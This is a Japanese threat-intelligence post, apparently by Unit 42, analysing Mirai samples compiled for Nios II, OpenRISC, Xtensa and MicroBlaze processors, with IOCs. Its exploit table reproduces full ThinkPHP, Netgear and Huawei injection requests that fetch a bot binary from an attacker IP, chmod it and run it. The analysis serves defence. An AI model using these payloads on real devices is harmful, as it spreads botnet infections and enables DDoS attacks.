This post is also available in: English (英語)
概要
2019年2月下旬、Unit 42はこれまで見たことのない新しいプロセッサ/アーキテクチャ用にコンパイルされたMiraiのサンプルを発見しました。ソースコードは2016年10月に公開されている ものの、このマルウェアはこれまでは、固定されたプロセッサ/アーキテクチャのセットをターゲットにしていました。
Unit 42は、新たに発見されたサンプルがAltera Nios II、OpenRISC、Tensilica Xtensa、Xilinx MicroBlazeプロセッサ用にコンパイルされていることを発見しました。なお、Miraiが新しいプロセッサアーキテクチャ、サンプルターゲット向けに拡張されたのは今回が初めてではありません。 過去にもARC CPU用のものが2018年1月に発見されています。とはいえ、今回見つかったような新たなプロセッサへの展開は、Miraiの開発者が積極的に革新を追い求め、増え続けるIoTデバイスをターゲットにしていることを示しています。このマルウェアは、2016年のDynおよびセキュリティブロガーのBrian Krebsのウェブサイトに対する大規模なサービス拒否攻撃に使用されたことで悪名高いものです。こうした最新の技術革新によって感染デバイス数が増加すれば、Miraiの攻撃者はサービス拒否攻撃力をさらに高めることになります。
本稿では、これら新しいサンプルで見つかった新機能を紹介し、観測したインフラストラクチャについて説明し、既知のエクスプロイトを使用しているほかのMiraiサンプルが新しいサンプルと同じインフラストラクチャでホストされた様子を示します。 また、これらの新しいサンプル用のIOC(侵害の痕跡)についても提供します。
Miraiそのほかの脅威からの保護にあたり、組織は最新のアップデートを適用し、デフォルト以外のパスワードでIoTデバイスを保護することを優先する必要があります。
見つかった新しいサンプルの新機能
今回観測したMiraiのサンプルは、前述の新しいアーキテクチャ用にコンパイルされていることに加え、以下の新しい機能が含まれていることがわかりました。
- 暗号化アルゴリズム: これらのサンプルでは、オリジナルのMiraiソースコードに利用されていた標準のバイト単位のXORを修正して使用しています(toggle_obf関数内で実装されている)。
11個の8バイト長の鍵を使用していて、これらすべての鍵を累積してバイト単位でXOR演算した結果を最終的な結果の鍵として取得します。これについては次のコードスニペットを見たほうが分かりやすいでしょう。
1 2 3 4 5 6 7 |
tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF] xor_key = 0 for key in tablekeys: xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff) |
実際には、これは0x5Aとバイト単位でXOR演算するのと同じ結果になります。
- attack_method_ovh: サンプルには、以下のパラメータを持つDDoS攻撃オプションが含まれています。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
ATK_OPT_IP_TOS = 0 ATK_OPT_IP_IDENT = 0xFFFF ATK_OPT_IP_TTL = 64 ATK_OPT_IP_DF = 1 ATK_OPT_SPORT = 0xFFFF ATK_OPT_DPORT = 0xFFFF ATK_OPT_SEQRND = 0xFFFF ATK_OPT_ACKRND = 0 ATK_OPT_URG = 0 ATK_OPT_ACK = 0 ATK_OPT_PSH = 0 ATK_OPT_RST = 0 ATK_OPT_SYN = 1 ATK_OPT_FIN = 0 ATK_OPT_SOURCE = LOCAL_ADDR |
これらは、元のMiraiのソースコードに含まれていた攻撃方法「TCP SYN」とまったく同じパラメータです(attack_method_tcpsyn)。同じパラメータを持つ新しい攻撃方法を組み込んだ理由は不明です。
弊社AutoFocusを利用してこの攻撃方法を軸に探索範囲を広げると、2018年11月以降にインターネット上で観測されていた既知のアーキテクチャ用のサンプルのなかにも、これらの攻撃オプションを採用しているものがあることがわかりました。
インフラストラクチャ
これら最新のサンプルは一時期、ある単一の IP アドレス上にホスティングされており、そのディレクトリへのアクセスは制限されていませんでした。その後2019年2月22日に当該サーバーはファイル一覧にアクセス制限をかけましたが、ファイルのホスティング自体は継続していました。
2月22日の設定更新以前には、当該IP上に、Miraiの以前のバージョンで使用されていたことが判明している以下のエクスプロイトを含むサンプルがホスティングされていました。これらMiraiの以前のバージョンと、今回新しく発見されたサンプルの両方に、これらのエクスプロイトが存在していることから、これら2つには関連があること、同一の攻撃者によって使用されている可能性が高いことが示唆されます。利用されていたエクスプロイトを以下の表1に示します。
脆弱性 | エクスプロイトの形式 |
ThinkPHPによるリモートコード実行 | GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 'wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1
Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hito/2.0
|
D-Link DSL2750B OSコマンドインジェクション | |
Netgearのリモートコード実行 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
CVE-2014-8361 |
|
CVE-2017-17215 | POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430 Connection: keep-alive Accept: */* Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30″, uri="/ctrlt/DeviceUpgrade_1″, response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5″, qop="auth", nc=00000001, cnonce="248d1a2560100669″ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1″><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
|
表12月22日以前に178.62.227[.]13でホストされていたMirai亜種に含まれていたエクスプロイト
結論
Miraiのソースコードはオープンソースなので、より幅広い種類のプロセッサ用に同一ソースコードをコンパイルするというたったそれだけのことで、攻撃者はより大きな攻撃面という優位性を得ることができます。実質的にこれはMiraiマルウェアファミリが現在よりより多くの組み込みデバイスを介して感染・拡散できることを意味しており、攻撃者はさらに大きなDDoS攻撃力を手に入れられることになります。
パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。
- WildFireは本稿に記載したすべてのサンプルを検出し「Malicious(悪意のある)」ものと判定します。
- これらのキャンペーンに関連したすべてのエクスプロイト、IP、URLは、Threat PreventionとPAN DBによってブロックされます。
AutoFocusをお使いのお客様は、次のタグを使用してこのエクスプロイトを追跡できます。
本マルウェアファミリは、次のAutoFocusタグで追跡できます: ELFMirai
パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org
IOC
URL
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazebe
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazeel
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hnios2
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hopenrisc
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hxtensa
Xilinx MicroBlaze のサンプル
- 006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f
- 233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d
- 26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459
- 2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289
- 3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb
- 43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef
- 44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd
- 4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf
- 4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779
- 537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce
- 683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887
- 9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22
- a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d
- a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50
- bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491
- c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1
- c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31
- d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a
- de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea
- e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf
OpenRISC のサンプル
- 09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a
- 199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00
- 1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1
- 24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b
- 59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2
- 6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327
- 74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d
- 76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986
- b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa
- b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816
- b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1
- c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e
- d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45
- f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671
Tensilica Xtensa のサンプル
- 006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a
- 28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af
- 5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7
- 57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779
- 61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb
- ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c
- b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d
- b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6
Altera Nios II のサンプル
- 0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358
- 3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1
- 48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87
- 5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc
- a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e
- ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894
- fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05